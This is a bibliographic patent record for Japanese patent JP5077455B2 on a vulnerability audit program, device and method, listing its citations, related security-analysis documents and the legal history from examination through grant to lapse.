JP2011048514A JP5077455B2 (ja) 2011-03-07 2011-03-07 脆弱性監査プログラム、脆弱性監査装置、脆弱性監査方法

Applications Claiming Priority (1)

Application Number Priority Date Filing Date Title
JP2011048514A JP5077455B2 (ja) 2011-03-07 2011-03-07 脆弱性監査プログラム、脆弱性監査装置、脆弱性監査方法

Related Parent Applications (1)

Application Number Title Priority Date Filing Date
JP2007503520A Division JPWO2006087780A1 (ja) 2005-02-17 2005-02-17 脆弱性監査プログラム、脆弱性監査装置、脆弱性監査方法

Publications (2)

Publication Number Publication Date
JP2011150716A true JP2011150716A (ja) 2011-08-04
JP5077455B2 JP5077455B2 (ja) 2012-11-21

Family

ID=44537582

Family Applications (1)

Application Number Title Priority Date Filing Date
JP2011048514A Expired - Fee Related JP5077455B2 (ja) 2011-03-07 2011-03-07 脆弱性監査プログラム、脆弱性監査装置、脆弱性監査方法

Country Status (1)

Country Link
JP (1) JP5077455B2 (ja)

Cited By (5)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
JP2013134573A (ja) * 2011-12-26 2013-07-08 Nec Corp ソフトウェア修正装置、ソフトウェア修正システム、ソフトウェア修正方法、及び、ソフトウェア修正プログラム
WO2014021190A1 (ja) * 2012-08-01 2014-02-06 三菱電機株式会社 プログラム実行装置及びプログラム解析装置
KR20190068495A (ko) * 2019-02-28 2019-06-18 한국인터넷진흥원 취약 함수 사용에 의한 취약점을 보완하기 위한 바이너리 패치 장치 및 그 방법
US10628140B2 (en) 2016-11-17 2020-04-21 Mitsubishi Electric Corporation Program code generation apparatus
JP2020531936A (ja) * 2017-06-29 2020-11-05 Line株式会社 アプリケーションの脆弱点を探知する方法およびシステム

Citations (1)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
WO2004095176A2 (en) * 2003-04-18 2004-11-04 Ounce Labs, Inc. Detecting vulnerabilities in source code

Patent Citations (1)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
WO2004095176A2 (en) * 2003-04-18 2004-11-04 Ounce Labs, Inc. Detecting vulnerabilities in source code

Cited By (8)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
JP2013134573A (ja) * 2011-12-26 2013-07-08 Nec Corp ソフトウェア修正装置、ソフトウェア修正システム、ソフトウェア修正方法、及び、ソフトウェア修正プログラム
WO2014021190A1 (ja) * 2012-08-01 2014-02-06 三菱電機株式会社 プログラム実行装置及びプログラム解析装置
JP5863973B2 (ja) * 2012-08-01 2016-02-17 三菱電機株式会社 プログラム実行装置及びプログラム解析装置
US9507933B2 (en) 2012-08-01 2016-11-29 Mitsubishi Electric Corporation Program execution apparatus and program analysis apparatus
US10628140B2 (en) 2016-11-17 2020-04-21 Mitsubishi Electric Corporation Program code generation apparatus
JP2020531936A (ja) * 2017-06-29 2020-11-05 Line株式会社 アプリケーションの脆弱点を探知する方法およびシステム
KR20190068495A (ko) * 2019-02-28 2019-06-18 한국인터넷진흥원 취약 함수 사용에 의한 취약점을 보완하기 위한 바이너리 패치 장치 및 그 방법
KR102070010B1 (ko) 2019-02-28 2020-01-29 한국인터넷진흥원 취약 함수 사용에 의한 취약점을 보완하기 위한 바이너리 패치 장치 및 그 방법

Also Published As

Publication number Publication date
JP5077455B2 (ja) 2012-11-21

Similar Documents

Publication Publication Date Title
JPWO2006087780A1 (ja) 脆弱性監査プログラム、脆弱性監査装置、脆弱性監査方法
Yang et al. Appspear: Bytecode decrypting and dex reassembling for packed android malware
Yu et al. Patching vulnerabilities with sanitization synthesis
US8635602B2 (en) Verification of information-flow downgraders
Wassermann et al. Sound and precise analysis of web applications for injection vulnerabilities
Balzarotti et al. Saner: Composing static and dynamic analysis to validate sanitization in web applications
Carmony et al. Extract Me If You Can: Abusing PDF Parsers in Malware Detectors.
US20160371494A1 (en) Software Vulnerabilities Detection System and Methods
US8850405B2 (en) Generating sound and minimal security reports based on static analysis of a program
Momot et al. The seven turrets of babel: A taxonomy of langsec errors and how to expunge them
US8572747B2 (en) Policy-driven detection and verification of methods such as sanitizers and validators
US10068093B2 (en) Machine-checkable code-annotations for static application security testing
Backes et al. R-droid: Leveraging android app analysis with static slice optimization
JP5863973B2 (ja) プログラム実行装置及びプログラム解析装置
JP5077455B2 (ja) 脆弱性監査プログラム、脆弱性監査装置、脆弱性監査方法
US20190361788A1 (en) Interactive analysis of a security specification
Møller et al. Automated detection of client-state manipulation vulnerabilities
Shahmehri et al. An advanced approach for modeling and detecting software vulnerabilities
US20210004470A1 (en) Automatic Generation Of Patches For Security Violations
Jimenez et al. Software vulnerabilities, prevention and detection methods: A review1
Okun et al. Report on the third static analysis tool exposition (sate 2010)
CN111027073B (zh) 漏洞检测方法、装置、设备及存储介质
JP7008879B2 (ja) 情報処理装置、情報処理方法及び情報処理プログラム
Hoole et al. Improving vulnerability detection measurement: [test suites and software security assurance]
Lin et al. Detecting {API}{Post-Handling} Bugs Using Code and Description in Patches

Legal Events

Date Code Title Description
A621 Written request for application examination

Free format text: JAPANESE INTERMEDIATE CODE: A621

Effective date: 20110307

A131 Notification of reasons for refusal

Free format text: JAPANESE INTERMEDIATE CODE: A131

Effective date: 20110726

A02 Decision of refusal

Free format text: JAPANESE INTERMEDIATE CODE: A02

Effective date: 20111018

A521 Request for written amendment filed

Free format text: JAPANESE INTERMEDIATE CODE: A523

Effective date: 20120118

A911 Transfer to examiner for re-examination before appeal (zenchi)

Free format text: JAPANESE INTERMEDIATE CODE: A911

Effective date: 20120124

A131 Notification of reasons for refusal

Free format text: JAPANESE INTERMEDIATE CODE: A131

Effective date: 20120403

A521 Request for written amendment filed

Free format text: JAPANESE INTERMEDIATE CODE: A523

Effective date: 20120604

TRDD Decision of grant or rejection written
A01 Written decision to grant a patent or to grant a registration (utility model)

Free format text: JAPANESE INTERMEDIATE CODE: A01

Effective date: 20120731

A01 Written decision to grant a patent or to grant a registration (utility model)

Free format text: JAPANESE INTERMEDIATE CODE: A01

A61 First payment of annual fees (during grant procedure)

Free format text: JAPANESE INTERMEDIATE CODE: A61

Effective date: 20120813

FPAY Renewal fee payment (event date is renewal date of database)

Free format text: PAYMENT UNTIL: 20150907

Year of fee payment: 3

R150 Certificate of patent or registration of utility model

Free format text: JAPANESE INTERMEDIATE CODE: R150

LAPS Cancellation because of no payment of annual fees